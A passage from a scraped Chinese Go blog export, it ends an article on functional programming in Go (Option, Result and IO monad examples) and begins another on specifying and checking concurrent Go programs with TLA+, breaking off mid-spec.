我们看到Fibonacci函数返回一个闭包，每次调用时生成下一个斐波那契数，这样我们在需要时生成下一个斐波那契数，而无需生成所有。\n虽然函数式编程强调纯函数和不可变性，但在实际应用中，我们不可避免地需要处理副作用，如I/O操作、数据库交互等。接下来，我们就来看看在函数式编程范式中是如何处理带有副作用的操作的。\n3. 函数式编程对副作用操作的处理 3.1 理解副作用 在函数式编程中，副作用是指函数或表达式在执行过程中对其周围环境产生的任何可观察到的变化。这些变化包括但不限于：\n修改全局变量或静态局部变量 修改函数参数 执行I/O操作（读写文件、网络通信等） 抛出异常或错误 调用其他具有副作用的函数 副作用使得程序的行为变得难以预测和测试，因为函数的输出不仅依赖于其输入，还依赖于程序的状态和外部环境。函数式编程通过最小化副作用来提高程序的可预测性和可测试性。\n3.2 Monad: 函数式编程中处理副作用的核心抽象 在函数式编程中，Monad是一种用于处理副作用的核心抽象。它提供了一种结构化的方式来处理计算中的状态、异常、输入输出等副作用，使得程序更加模块化和可组合。\n在范畴论中，Monad被定义为一个自函子(endofunctor)加上两个自然变换(有点抽象了)：\nreturn (也称为unit)：将一个值封装到Monad中。 bind (也称为flatMap或\u0026gt;\u0026gt;=)：将一个Monad中的值应用到一个函数中，并返回一个新的Monad。 注：要入门范畴论，可以参考《Category Theory for Programmers》这本书。\nMonad可以通过以下策略来处理副作用：\n延迟执行：将副作用操作封装在Monad中，但不立即执行，这样可以将副作用推迟到程序的边缘。 显式表示：使副作用成为类型系统的一部分，迫使开发者显式地处理这些效果。 组合性：提供了一种方式来组合包含副作用的操作，而不破坏函数的纯粹性。 错误处理：提供了一种统一的方式来处理可能失败的操作。 状态管理：允许在一系列操作中传递和修改状态，而不需要使用可变变量。 在实际应用中，我们可以根据具体需求选择使用不同的Monad实现。每种Monad都有其适用场景，比如：\n使用Option(Maybe) Monad处理可能缺失的值，避免空指针异常。 使用Result(Either) Monad 处理可能失败的操作，提供更丰富的错误信息。 使用IO Monad封装所有的I/O操作，将副作用推迟到程序的边缘。 接下来，我们就结合Go示例来逐一探讨这三种Monad实现。\n3.3 Option (Maybe) Option 用于表示一个值可能存在或不存在，避免了使用null或undefined带来的问题。\n// fp-in-go/side-effect/option/main.go package main import \u0026#34;fmt\u0026#34; type Option[T any] struct { value T present bool } func Some[T any](x T) Option[T] { return Option[T]{value: x, present: true} } func None[T any]() Option[T] { return Option[T]{present: false} } func (o Option[T]) Bind(f func(T) Option[T]) Option[T] { if !o.present { return None[T]() } return f(o.value) } // 使用示例 func safeDivide(a, b int) Option[int] { if b == 0 { return None[int]() } return Some(a / b) } func main() { result := Some(10).Bind(func(x int) Option[int] { return safeDivide(x, 2) }) fmt.Println(result) // {5 true} result = Some(10).Bind(func(x int) Option[int] { return safeDivide(x, 0) }) fmt.Println(result) // {0 false} } 这段示例程序定义了一个Option结构体：包含一个值和一个表示值是否存在的布尔变量。Some和None函数是Option的创建函数，Some函数：返回一个包含值的Option。None函数返回一个不包含值的Option。Bind方法对Option中的值应用一个函数，如果值不存在则返回None。\n3.4 Result (Either) Result可用于处理可能产生错误的操作，它比Option提供了更多的信息，它可以可以携带错误信息。\n// fp-in-go/side-effect/result/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strings\u0026#34; ) type Result[T any] struct { value T err error isOk bool } func Ok[T any](value T) Result[T] { return Result[T]{value: value, isOk: true} } func Err[T any](err error) Result[T] { return Result[T]{err: err, isOk: false} } func (r Result[T]) Bind(f func(T) Result[T]) Result[T] { if !r.isOk { return Err[T](r.err) } return f(r.value) } // 使用示例 func readFile(filename string) Result[string] { content, err := os.ReadFile(filename) if err != nil { return Err[string](err) } return Ok(string(content)) } func processContent(content string) Result[string] { // 处理内容... return Ok(strings.ToUpper(content)) } func main() { result := readFile(\u0026#34;input.txt\u0026#34;).Bind(processContent) fmt.Println(result) // {HELLO, GOLANG \u0026lt;nil\u0026gt; true} result = readFile(\u0026#34;input1.txt\u0026#34;).Bind(processContent) fmt.Println(result) // { 0xc0000a0420 false} } 这段示例程序定义了一个Result结构体：包含一个值、一个错误信息和一个表示操作是否成功的布尔变量。Ok和Err函数是Result的创建函数，Ok函数返回一个成功的Result。Err函数返回一个失败的Result。Bind方法对成功的Result中的值应用一个函数，如果操作失败则返回错误。\n在示例中，我们分别用读取input.txt和不存在的input1.txt来演示成功和错误的两个情况，具体输出结果见上面代码中的注释。\n3.5 IO Monad IO Monad用于封装所有的带有副作用的输入/输出操作，使得这些操作在类型系统中可见，并且可以被推迟执行。\n// fp-in-go/side-effect/io-monad/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; \u0026#34;strings\u0026#34; ) // IO represents an IO operation that, when run, produces a value of type any or an error type IO struct { run func() (any, error) } // NewIO creates a new IO monad func NewIO(f func() (any, error)) IO { return IO{run: f} } // Bind chains IO operations, allowing for type changes func (io IO) Bind(f func(any) IO) IO { return NewIO(func() (any, error) { v, err := io.run() if err != nil { return nil, err } return f(v).run() }) } // Map transforms the value inside IO func (io IO) Map(f func(any) any) IO { return io.Bind(func(v any) IO { return NewIO(func() (any, error) { return f(v), nil }) }) } // Pure lifts a value into the IO context func Pure(x any) IO { return NewIO(func() (any, error) { return x, nil }) } // ReadFile is an IO operation that reads a file func ReadFile(filename string) IO { return NewIO(func() (any, error) { content, err := os.ReadFile(filename) if err != nil { return nil, fmt.Errorf(\u0026#34;failed to read file: %w\u0026#34;, err) } return string(content), nil }) } // WriteFile is an IO operation that writes to a file func WriteFile(filename string, content string) IO { return NewIO(func() (any, error) { err := os.WriteFile(filename, []byte(content), 0644) if err != nil { return nil, fmt.Errorf(\u0026#34;failed to write file: %w\u0026#34;, err) } return true, nil }) } // Print is an IO operation that prints to stdout func Print(x any) IO { return NewIO(func() (any, error) { fmt.Println(x) return x, nil }) } func main() { // Example: Read a file, transform its content, and write it back program := ReadFile(\u0026#34;input.txt\u0026#34;). Map(func(v any) any { return strings.ToUpper(v.(string)) }). Bind(func(v any) IO { return WriteFile(\u0026#34;output.txt\u0026#34;, v.(string)) }). Bind(func(v any) IO { success := v.(bool) if success { return Pure(\u0026#34;File processed successfully\u0026#34;) } return Pure(\u0026#34;Failed to process file\u0026#34;) }). Bind(func(v any) IO { return Print(v) }) // Run the IO operation result, err := program.run() if err != nil { fmt.Printf(\u0026#34;An error occurred: %v\\n\u0026#34;, err) } else { fmt.Printf(\u0026#34;Program completed: %s\\n\u0026#34;, result) } } 这个示例提供了一个非泛型版本的IO Monad的Go实现，它允许我们链式组合带有副作用的IO操作，同时保持了一定程度的类型安全（尽管需要类型断言）。在实际使用中，你完全不用自己实现IO Monad，可以直接使用IBM/fp-go中的ioeither，就像本文初那个示例那样。\n4. 小结 到这里，关于函数式编程思维的入门介绍就告一段落了！\n通过上面的介绍，我们看到函数式编程提供了一种不同于传统命令式编程的思维方式。它强调不可变性、纯函数和函数的组合，为数据流的处理搭建管道，这些特性使得代码更易于理解、测试和并行化。然而，函数式编程也带来了一些挑战，如处理副作用和状态管理的复杂性和难于理解。\n学习函数式编程不仅可以扩展我们的编程技能，还能帮助我们以新的方式思考问题和设计解决方案。正如《函数式编程思维》一书中译者所说，接受一种新的编程范式可能需要时间和耐心，但最终会带来新的见解和能力。\n在实际应用中，纯粹的函数式编程并不常见，更常见的是将函数式编程的概念和技术与其他编程范式(主要就是命令式范式)相结合。\nGo语言虽然不是一个纯函数式语言，但它提供了足够的特性来支持函数式编程风格，如一等公民的函数、闭包和高阶函数等。\n最后要记住，编程范式是工具，而不是教条。好的程序员应该能够根据具体问题和场景，灵活地选择和组合不同的编程范式，以创造出最优雅、高效的解决方案。\n本文涉及的源码可以在这里下载 – https://github.com/bigwhite/experiments/blob/master/fp-in-go\n本文部分源代码由Claude 3.5 sonnet和GPT-4o生成。\n5. 参考资料 《函数式设计：原则、模式与实践》- https://book.douban.com/subject/36974785/ 《函数式编程思维》- https://book.douban.com/subject/26587213/ 《计算机程序的构造和解释》- https://book.douban.com/subject/36787585/ 《Learning Functional Programming in Go》 – https://book.douban.com/subject/30165168/ Introduction to fp-go, functional programming for golang – https://www.youtube.com/watch?v=Jif3jL6DRdw Investigate Functional Programming Concepts in Go – https://betterprogramming.pub/investigate-functional-programming-concepts-in-go-1dada09bc913 Investigating the I/O Monad in Go – https://medium.com/better-programming/investigating-the-i-o-monad-in-go-3c0fabbb4b3d Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/08/11/understand-functional-programming-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 31\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-functional-programming-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/08/11/understand-functional-programming-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/08/11/understand-functional-programming-in-go\"\u003ehttps://tonybai.com/2024/08/11/understand-functional-programming-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e一个孩子要尝试10次、20次才肯接受一种新的食物，我们接受一种新的范式，大概不会比这个简单。– 郭晓刚 《函数式编程思维》译者\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e函数式编程(Functional Programming, 简称fp)是一种编程范式，与命令式编程(Imperative Programming)、面向对象编程(OOP)、泛型编程(Generics Programming)、\u003ca href=\"https://tonybai.com/2012/05/08/translate-seven-languages-in-seven-weeks/\"\u003e逻辑编程(logic Programming)\u003c/a\u003e等是一类的概念。\u003c/p\u003e","title":"通过Go示例理解函数式编程思维"},{"content":"\n本文永久链接 – https://tonybai.com/2024/08/05/formally-verify-concurrent-go-programs-using-tla-plus\nWriting is nature’s way of letting you know how sloppy your thinking is – Guindon\n在2024年6月份举办的GopherCon Europe Berlin 2024上，一个叫Raghav Roy的印度程序员(听口音判断的)分享了Using Formal Reasoning to Build Concurrent Go Systems，介绍了如何使用形式化验证工具TLA+来验证Go并发程序的设计正确性。\nTLA+是2013年图灵奖获得者、美国计算机科学家和数学家、分布式系统奠基性大神、Paxos算法和Latex的缔造者Leslie B. Lamport设计的一种针对数字系统(Digital Systems)的高级(high-level)建模语言，TLA+诞生于1999年，一直低调演进至今。\nTLA+不仅可以对系统建模，还可以与模型验证工具，比如：TLC model checker，结合使用，对被建模系统的行为进行全面的验证。我们可以将TLA+看成一种专门用于数字系统建模和验证的DSL语言。\n注：TLA是Temporal Logic of Actions的首字母缩写，Temporal Logic，即时序逻辑，是一种用于描述和推理系统行为随时间变化的逻辑框架，由Arthur Prior在1950年代后期引入逻辑学。在后面对TLA+的进一步介绍中，大家可能就会逐渐理解为什么Lamport给这门语言命名为TLA+了。\n这不是我第一次接触TLA+，去年就花过一些时间了解过TLA+的资料，可能是因为姿势不够正确，没有在本博客留下只言片语，而这次我打算写点有关TLA+的东西。\n1. 为什么需要TLA+ 从1999年Lamport发表的论文“Specifying Concurrent Systems with TLA+”以及他2014年在微软的演讲“Thinking Above the Code”中 ，我们大致可以得到Lamport在20多年前设计TLA+的朴素的动机：期望程序员能像科学家一样思考，在编码之前用一种精确的形式化的语言写出目标系统的spec，这个过程类似于建筑架构师在建筑施工之前编制建筑的蓝图(blueprint)。\n为什么要编写目标系统的spec呢？\n综合来自Lamport的相关资料，大致可以梳理出以下两点：\n从程序员的角度来看，在开始编码之前，先在抽象的层面思考系统行为，而不是过早地陷入编程语言的具体语法中。并且先写下规格说明，可以帮助程序员明确需求，认知系统，发现潜在问题，并为后续的编码和维护提供指导。 从系统复杂性的角度来看，对于日益复杂的并发和分布式系统，仅靠直觉思考很难保证正确性，传统的测试方法也已经不足以发现所有问题。这时候写spec(规格说明)并用配套的检查工具进行验证就变得非常必要。 那为什么要新设计TLA+来写spec呢，而不是使用像C++这类编程语言，或是其他已存在的形式化语言来编写spec呢？\nLamport给出的理由有以下几个：\n编程语言的局限性：像C++这样的编程语言主要是为了实现而设计的，而不是为了spec。它们往往过于关注实现细节，而不是高层次的系统行为，缺乏描述并发和分布式系统所需的抽象能力，不适合表达系统的时序性质和不变量。\n已有形式化语言的不足：当时存在的其他形式化语言大多存在要么过于学术化，难以在实际工程中应用，要么难以自然地表达并发和分布式系统的特性等问题；并且缺少工具支持，不具备spec验证功能。\n数学建模的局限：纯粹的数学公式虽然精确，但对非数学背景的工程师来说难以理解和使用，缺乏工具支持，难以自动化验证，难以直接映射到系统设计和实现。\nLamport设计的TLA+是建立在坚实的数学基础之上，这使得它能够支持严格的数学推理和证明与自动化验证工具（如TLC模型检查器）无缝集成。TLA+被设计为在高度抽象的层面描述系统，不会像编程语言那样受实现细节的束缚。此外，结合时序逻辑和状态机，TLA+可以描述并发和分布式系统，并在设计层面验证系统的正确性。\n根据Lamport的不完全统计，TLA+在Intel、Amazon、Microsoft等大厂都有应用，一些知名的算法以及开源项目也使用TLA+进行了形式化验证，比如Raft算法的作者就给出了Raft算法的TLA+ spec，国内分布式数据库厂商pingcap也在项目中使用TLA+对raft算法以及分布式事务做了形式化的验证。\n在这些应用案例中，AWS的案例是典型代表。AWS也将应用TLA+过程中积累的经验以paper的形式发表了，其论文集合也被Lamport放置在其个人主页上了。从这些论文内容来看，AWS对TLA+的评价是很正面的：AWS使用TLA+对10个大型复杂的真实系统进行建模和验证，的确发现了多个难以通过其他方法发现的微妙错误。同时，通过精确描述设计，TLA+迫使工程师更清晰地思考，消除了“看似合理的含糊之处”。此外，AWS工程师认为TLA+ spec也是一种很好的文档形式，可以提供精确、简洁、可测试的设计描述，有助于新人快速理解系统。\n铺垫了这么多，TLA+究竟是什么？它是如何在高级抽象层面对分布式系统和并发系统进行描述和验证的？接下来，我们就来看一下。\n2. Lamport对TLA+的定义 在Lamport的论文、书籍以及一些演讲资料中，他是这么定义TLA+的：A language for high-level modeling digital systems。对于这个定义，我们可以“分段”来理解一下。\nDigital System 什么是TLA+眼中的数字系统(Digital System)？Lamport认为数字系统包括算法(Algorithms)、程序(Programs)和计算机系统(Computer system)，它们有一个共同特点，那就是可以抽象为一个按离散事件序列(sequence of discrete events)进行持续执行和演进的物理系统，这是TLA+后续描述(specify)数字系统的基础。随着多核和云计算的兴起，并发程序和分布式的关键(critical)系统成为了TLA+的主要描述对象，这样的系统最复杂，最难正确实现，价值也最高，值得使用TLA+对其进行形式化的验证。\nHigh Level TLA+面向设计层面，在代码实现层面之上，实施于编写任何实现代码之前。此外，High Level也意味着可以忽略那些系统中不是很关键(less-critical)的部分以及低层次的实现细节。\n去除细节进行简化的过程就是抽象（Abstraction），它是工程领域最重要的环节。抽象可以让我们理解复杂的系统，如果不了解系统，我们就无法对系统进行正确的建模并实现它。\n而使用TLA+编写系统spec其实就是一个学习对系统进行抽象的过程，学会抽象思考，可以帮助工程师提高设计能力。\nModeling TLA+是通过描述系统的行为(behavior)来对数字系统进行建模的。那么什么是系统的行为呢？如下图所示：\n此图由claude sonnet 3.5根据我的prompt生成\n行为被Lamport定义为一系列的状态（Sequence of States），这些状态仍然按顺序排列，表示系统随时间的演变。而状态本身则是对变量的赋值。状态之间的转换由动作(action)描述，而系统的正确性由属性(properties)指定。\n这种方法特别适合建模并发和分布式系统，因为它允许我们精确地描述系统的所有可能行为，包括不同组件之间的交互和可能的竞争条件，如下图所示：\n在TLA+中，属性(properties)是用来描述系统应该满足的条件或特性，它们在验证系统行为的正确性方面起着关键作用。我们所说的系统工作正常就是指这些在执行过程中的属性都得到了满足。\n在TLA+中，有两类属性是我们特别需要关注的，一类是安全属性（Safety Properties），一类则是活性属性（Liveness Properties）。前者确保“坏事永远不会发生”，比如使用不变量在并发系统中确保两个进程不会同时进入临界区；后者则是确保“好事最终会发生”，在分布式系统中的最终一致性（eventual consistency）是一个活性属性，它保证系统最终会达到一致的状态。TLA+允许我们精确地指定这些属性，然后使用TLC模型检查器来验证系统是否满足这些属性。这种方法特别适合于复杂的并发和分布式系统，因为它能够发现在传统测试中难以发现的微妙错误。\n注：关于TLA+可以用来形式化描述(specify)和验证(check)数字系统的底层数学理论，可以参考Lamport老爷子那本最新尚未完成的书籍A Science of Concurrent Programs(2024.6.7版)。\n接下来，我们就来看看TLA+究竟如何编写。不过直接介绍TLA+语法比较抽象和枯燥，在我读过的TLA+语法资料中，Lamport在The TLA+ Video Course第二讲中将一个C示例程序一步一步像数学推导一样转换为TLA+语法的讲解对我帮助非常大，我觉得有必要将这个示例放到这篇文章中。\n3. 从C代码到TLA+：转换步骤详解 Lamport的这个过程展示了如何从一个具体的编程语言实现(以C代码为例)逐步抽象到一个数学化的、更加通用的系统描述。每一步都增加了抽象级别，最终得到一个可以用于形式化验证的TLA+规范(spec)。以下是这个演进过程的主要阶段：\n3.1 初始C程序分析 下面是这个示例的原始C代码：\nint i; void main() { i = someNumber(); i = i + 1; } 这不是一个并发程序，它只有一个执行路线(execution)，前面说过，一个行为(execution)是一个状态序列，我们就来定义这个状态序列以及它们之间的转换关系。\n我们先识别出程序的状态变量：i以及引入的控制状态变量（PC），PC变量来表示程序的执行位置。接下来我们就来描述一个可以代码该程序所有状态的“状态机”。\n3.2 状态机描述 该程序可以划分为三个状态：\n初始状态：i = 0, PC = “start” 中间状态：i in {0, 1, …, 1000}(这里限定了someNumber函数返回的数值范围), PC = “middle” 结束状态：i = i + 1, PC = “done” 下面用自然语言描述一下上述状态的转换关系：\nif current value of pc equals \u0026#34;start\u0026#34; then next value of i in {0, 1, ..., 1000} next value of pc equals \u0026#34;middle\u0026#34; else if current value of pc equals \u0026#34;middle\u0026#34; then next value of i equals current value of i + 1 next value of pc equals \u0026#34;done\u0026#34; else no next values 接下来，我们就来将上述对于状态转换的描述变换一下，尽量用数学来表示。\n3.3 转换为数学表示 这里的转换分为几步，我们逐一来看。\n换掉”current value of” if pc equals \u0026#34;start\u0026#34; then next value of i in {0, 1, ..., 1000} next value of pc equals \u0026#34;middle\u0026#34; else if pc equals \u0026#34;middle\u0026#34; then next value of i equals i + 1 next value of pc equals \u0026#34;done\u0026#34; else no next values 替换后，pc即the current value of pc，i即current value of i。\n换掉”next value of” 我们用i’换掉”next value of i”, 用pc’换掉”next value of pc”，结果如下：\nif pc equals \u0026#34;start\u0026#34; then i\u0026#39; in {0, 1, ..., 1000} pc\u0026#39; equals \u0026#34;middle\u0026#34; else if pc equals \u0026#34;middle\u0026#34; then i\u0026#39; equals i + 1 pc\u0026#39; equals \u0026#34;done\u0026#34; else no next values 用”=”符号换掉equals 替换的结果如下：\nif pc = \u0026#34;start\u0026#34; then i\u0026#39; in {0, 1, ..., 1000} pc\u0026#39; = \u0026#34;middle\u0026#34; else if pc = \u0026#34;middle\u0026#34; then i\u0026#39; = i + 1 pc\u0026#39; = \u0026#34;done\u0026#34; else no next values 将in换为数学符号∈ if pc = \u0026#34;start\u0026#34; then i\u0026#39; ∈ {0, 1, ..., 1000} pc\u0026#39; = \u0026#34;middle\u0026#34; else if pc = \u0026#34;middle\u0026#34; then i\u0026#39; = i + 1 pc\u0026#39; = \u0026#34;done\u0026#34; else no next values 3.4 TLA+语法转换 将集合表示换为正式的数学符号 {0, 1, …, 1000}并非数学表示集合的方式，替换后，结果如下：\nif pc = \u0026#34;start\u0026#34; then i\u0026#39; ∈ 0..1000 pc\u0026#39; = \u0026#34;middle\u0026#34; else if pc = \u0026#34;middle\u0026#34; then i\u0026#39; = i + 1 pc\u0026#39; = \u0026#34;done\u0026#34; else no next values 这里0..1000使用了TLA+的集合表示语法。\n转换为单一公式(formula) 将C代码转换为上面的最新代码后，你不要再按照C的语义去理解上述转换后的代码了。新代码并非是像C那样为了进行好一些计算而编写的一些指令，新代码是一个关于i、pc、i’和pc’的公式(formula)，这是理解从C带TLA+的最为关键的环节，即上述这段代码整体就是一个公式！\n上述代码的意思并非if pc = “start”为真，然后执行then部分，否则执行else部分。其真正含义是如果pc = “start”为真，那么上述整个公式将等于then这个公式的值，否则整个公式将等于else公式的值。\n不过我们看到在上面的then子句中存在两个独立的公式，以第一个then为例，两个独立公式分别为i’ ∈ 0..1000和pc’ = “middle”。这两个独立的公式之间是and的关系，我们需要将其转换为一个公式。TLA+中使用”/\\”表示and连接，下面是使用”/\\”将公式连接后的结果：\nif pc = \u0026#34;start\u0026#34; then (i\u0026#39; ∈ 0..1000) /\\ (pc\u0026#39; = \u0026#34;middle\u0026#34;) else if pc = \u0026#34;middle\u0026#34; then (i\u0026#39; = i + 1) /\\ (pc\u0026#39; = \u0026#34;done\u0026#34;) else no next values 改造else公式 问题来了! 当存在某个状态，使得整个公式等于最后一个else公式的值时，我们发现这个值为”no next values”，而前面的then、else if then公式的值都为布尔值TRUE或FALSE。这里最后的ELSE公式，它的值应该为FALSE，无论i、pc、i’和pc’的值为什么，因此这里直接将其改造为FALSE：\nif pc = \u0026#34;start\u0026#34; then (i\u0026#39; ∈ 0..1000) /\\ (pc\u0026#39; = \u0026#34;middle\u0026#34;) else if pc = \u0026#34;middle\u0026#34; then (i\u0026#39; = i + 1) /\\ (pc\u0026#39; = \u0026#34;done\u0026#34;) else FALSE TLA+的关键字为大写且TLA+源码为ASCII码 if、then、else 这些都是TLA+的关键字，而TLA+的关键字通常为大写，并且TLA+源码为ASCII码，∈需换成\\in。这样改变后的结果如下：\nIF pc = \u0026#34;start\u0026#34; THEN (i\u0026#39; \\in 0..1000) /\\ (pc\u0026#39; = \u0026#34;middle\u0026#34;) ELSE IF pc = \u0026#34;middle\u0026#34; THEN (i\u0026#39; = i + 1) /\\ (pc\u0026#39; = \u0026#34;done\u0026#34;) ELSE FALSE 到这里，我们就得到了一个美化后的的TLA+公式了!\n3.5 干掉if else 前面说过，我们将C代码改造为了一个公式，但公式中依然有if else总是感觉有些格格不入，是不是可以干掉if else呢！我们来试一下！\n我们先用A、B替换掉then语句中的两个公式:\nIF pc = \u0026#34;start\u0026#34; THEN A ELSE IF pc = \u0026#34;middle\u0026#34; THEN B ELSE FALSE 如果整个公式为TRUE，需要(pc = “start”)和A都为TRUE，或(pc = “middle”)和B都为TRUE。TLA+引入一个操作符\\/表示or，这样整个公式为TRUE的逻辑就可以表示为：\n((pc = \u0026#34;start\u0026#34;) /\\ A) \\/ ((pc = \u0026#34;middle\u0026#34;) /\\ B) 好了，现在我们再把A和B换回到原先的公式：\n((pc = \u0026#34;start\u0026#34;) /\\ (i\u0026#39; \\in 0..1000) /\\ (pc\u0026#39; = \u0026#34;middle\u0026#34;)) \\/ ((pc = \u0026#34;middle\u0026#34;) /\\ (i\u0026#39; = i+1 ) /\\ (pc\u0026#39; = \u0026#34;done\u0026#34;)) 你是不是感觉不够美观啊！TLA+提供了下面等价的、更美观的形式：\n\\/ /\\ pc = \u0026#34;start\u0026#34; /\\ i\u0026#39; \\in 0..1000 /\\ pc\u0026#39; = \u0026#34;middle\u0026#34; \\/ /\\ pc = \u0026#34;middle\u0026#34; /\\ i\u0026#39; = i+1 /\\ pc\u0026#39; = \u0026#34;done\u0026#34; 这种形式完全去掉了括号，并可以像列表一样表达公式！并且无论是/\\还是\\/都是可交换的(commutative)，顺序不影响公式的最终结果。\n3.6 完整的TLA+ spec 从数学层面，上面C代码将被拆分为两个公式，一个是初始状态公式，一个是下个状态的公式：\n初始状态公式：(i = 0) /\\ (pc = \u0026#34;start\u0026#34;) 下一状态公式： \\/ /\\ pc = \u0026#34;start\u0026#34; /\\ i\u0026#39; \\in 0..1000 /\\ pc\u0026#39; = \u0026#34;middle\u0026#34; \\/ /\\ pc = \u0026#34;middle\u0026#34; /\\ i\u0026#39; = i+1 /\\ pc\u0026#39; = \u0026#34;done\u0026#34; 但对于一个完整的TLA+ spec来说，还需要额外补充些内容：\n---- MODULE SimpleProgram ---- EXTENDS Integers VARIABLES i, pc Init == (pc = \u0026#34;start\u0026#34;) /\\ (i = 0) Next == \\/ /\\ pc = \u0026#34;start\u0026#34; /\\ i\u0026#39; \\in 0..1000 /\\ pc\u0026#39; = \u0026#34;middle\u0026#34; \\/ /\\ pc = \u0026#34;middle\u0026#34; /\\ i\u0026#39; = i + 1 /\\ pc\u0026#39; = \u0026#34;done\u0026#34; ==== 一个完整的TLA+ spec是放在一个module中的，上面例子中module为SimpleProgram。TLA toolkit要求tla文件名要与module名相同，这样上面代码对应的tla文件应为SimpleProgram.tla。\nEXTENDS会导入TLA+内置的标准module，这里的Integers就提供了基础的算术运算符，比如+和..。\nVARIABLES声明了状态变量，比如这里的i和pc。变量加上’即表示该变量的下一个状态的值。\n接下来便是公式的定义。Init和Next并非固定公式名字，你可以选择任意名字，但使用Init和Next是惯用法。\n“====”用于标识一个module的Body内容的结束。\n对于上面简单的C程序，这样的spec是可以的。但在实际使用中，spec中的Next一般会很长，一个好的实践是对其进行拆分。比如这里我们就将Next拆分为两个子公式：Pick和Add1：\n---- MODULE SimpleProgram ---- EXTENDS Integers VARIABLES i, pc Init == (pc = \u0026#34;start\u0026#34;) /\\ (i = 0) Pick == /\\ pc = \u0026#34;start\u0026#34; /\\ i\u0026#39; \\in 0..1000 /\\ pc\u0026#39; = \u0026#34;middle\u0026#34; Add1 == /\\ pc = \u0026#34;middle\u0026#34; /\\ i\u0026#39; = i + 1 /\\ pc\u0026#39; = \u0026#34;done\u0026#34; Next == Pick \\/ Add1 ==== 4. 使用TLA+ Toolkit验证spec Lamport提供了TLA+的Module Checker，我们可以从其主页提供的工具包下载链接下载TLA+ Toolkit。\n先将上面的TLA+ spec存入一个名为SimpleProgram.tla的文件。然后打开TLA+ Toolkit，选择File -\u0026gt; Open spec -\u0026gt; Add New Spec…，然后选择你本地的SimpleProgram.tla即可加载该spec：\n之后，我们可以点击菜单项“TLC Model Checker” -\u0026gt; New Model，便可以为该tla建立一个model配置(去掉deadlock)，运行check后，你能看到下面结果：\n我们看到model check一共检查了2003个不同的状态。\n注：TLA+还提供了一个Visual Studio Code的扩展，也可以用来specify和check model。\n5. 使用TLA+验证Go并发程序 Go语言因其强大的并发编程能力而备受青睐。然而，Go的并发方案虽然简单，但也并非银弹。随着并发程序复杂性的增加，开发者常常面临着难以发现和调试的错误，如死锁和竞态条件。这些问题不仅影响程序的正确性，还可能导致严重的系统故障。对于Go开发的并发系统的关键部分，采用TLA+进行形式化的验证是一个不错的提高系统正确性和可靠性的方法。\n接下来，我们就建立一个生产者和消费者的Go示例，然后使用TLA+为其建模并check。理论上应该是先有设计思路，再TLA+验证设计，再进行代码实现，这里的Go代码主要是为了“描述”该并发程序的需求和行为逻辑。\n// go-and-tla-plus/producer-consumer/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; ) func producer(ch chan\u0026lt;- int, wg *sync.WaitGroup) { defer wg.Done() for i := 0; i \u0026lt; 5; i++ { ch \u0026lt;- i } close(ch) } func consumer(ch \u0026lt;-chan int, wg *sync.WaitGroup) { defer wg.Done() for num := range ch { fmt.Println(\u0026#34;Consumed:\u0026#34;, num) } } func main() { ch := make(chan int) var wg sync.WaitGroup wg.Add(2) go producer(ch, \u0026amp;wg) go consumer(ch, \u0026amp;wg) wg.Wait() } 任何Go初学者都可以很容易读懂上面的程序逻辑：Producer生产0到4四个数，每生成一个就通过unbuffered channel发出，consumer从channel接收数字并消费。Producer生产完毕后，关闭channel。Consumer消费完所有数字后，退出，程序终止。\n下面是使用TLA+编写的ProducerConsumer的完整Spec：\n// go-and-tla-plus/producer-consumer/ProducerConsumer.tla ---- MODULE ProducerConsumer ---- EXTENDS Integers, Sequences VARIABLES ch, \\* 通道内容 produced, \\* 已生产的消息数 consumed, \\* 已消费的消息数 closed \\* 通道是否关闭 TypeOK == /\\ ch \\in Seq(0..4) /\\ produced \\in 0..5 /\\ consumed \\in 0..5 /\\ closed \\in BOOLEAN Init == /\\ ch = \u0026lt;\u0026lt;\u0026gt;\u0026gt; /\\ produced = 0 /\\ consumed = 0 /\\ closed = FALSE Produce == /\\ produced \u0026lt; 5 /\\ ch = \u0026lt;\u0026lt;\u0026gt;\u0026gt; /\\ ~closed /\\ ch\u0026#39; = Append(ch, produced) /\\ produced\u0026#39; = produced + 1 /\\ UNCHANGED \u0026lt;\u0026lt;consumed, closed\u0026gt;\u0026gt; Close == /\\ produced = 5 /\\ ch = \u0026lt;\u0026lt;\u0026gt;\u0026gt; /\\ ~closed /\\ closed\u0026#39; = TRUE /\\ UNCHANGED \u0026lt;\u0026lt;ch, produced, consumed\u0026gt;\u0026gt; Consume == /\\ ch /= \u0026lt;\u0026lt;\u0026gt;\u0026gt; /\\ ch\u0026#39; = Tail(ch) /\\ consumed\u0026#39; = consumed + 1 /\\ UNCHANGED \u0026lt;\u0026lt;produced, closed\u0026gt;\u0026gt; Next == \\/ Produce \\/ Close \\/ Consume Fairness == /\\ SF_\u0026lt;\u0026lt;ch, produced, 